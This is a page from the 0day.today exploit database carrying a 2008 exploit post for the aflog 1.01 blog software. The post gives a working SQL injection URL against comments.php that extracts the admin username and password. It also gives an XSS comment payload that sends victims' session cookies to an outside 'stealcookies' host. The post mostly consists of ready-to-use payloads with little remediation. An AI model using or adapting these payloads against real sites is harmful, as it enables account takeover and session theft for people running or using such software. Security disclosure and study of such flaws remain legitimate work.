0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
aflog 1.01 comments.php XSS / SQL Injection Vulnerability
[=========================================================
aflog 1.01 comments.php XSS / SQL Injection Vulnerability
=========================================================
# Name: aflog 1.01 (and possibly earlier)
# Webiste: http://aflog.org/
# Vulnerability type: SQL Injection (comments.php) and XSS
# Author:
# shinmai, 2008-01-22
###############################################################################
# Description:
#
# SQL INJECTION:
#
# SQL injection is possible in comments.php for the GET variable 'id', like
# this:
http://hostname/aflog/comments.php?id='[SQLI]/*
# The following POC exposes the username and password of the first registered
# user (the admin):
http://localhost/aflog/comments.php?id='+UNION+SELECT+666,null,concat('username:',username,',password:',password),1,null,1+FROM+members+ORDER+BY+id+DESC+LIMIT+1/*
#
# The same principle could be applied to view.php, but forming the SQL
# injection string is easier in comments.php, IMHO.
#
# NOTE:
# A possible sollution to this is setting magic_quotes_gpc to "on" but this is
# viable to cause other problems, so a patch to aflog would be more benefitial.
#
###############################################################################
#
# XSS
#
# The comment form doesn't do much parsing on comments posted, other than their
# length.
#
# A newly registered user can easily compose an URL with an XSS exploit and
# trick a logged in user to click it to steal their login cookie.
#
# Example comment:
Don't go <script>var a="<a
href='http://server/stealcookies?"+encodeURI(document.cookie)+"'>here</a>";document.write(a);</script>.
#
# Cliking this link would send the login cookie as a GET request to 'server' to
# be processed by a script called 'stealcookies'
#
# Good luck, and be safe. Greetings to the light of my life, innoscent.
#
# 0day.today [2024-12-24] #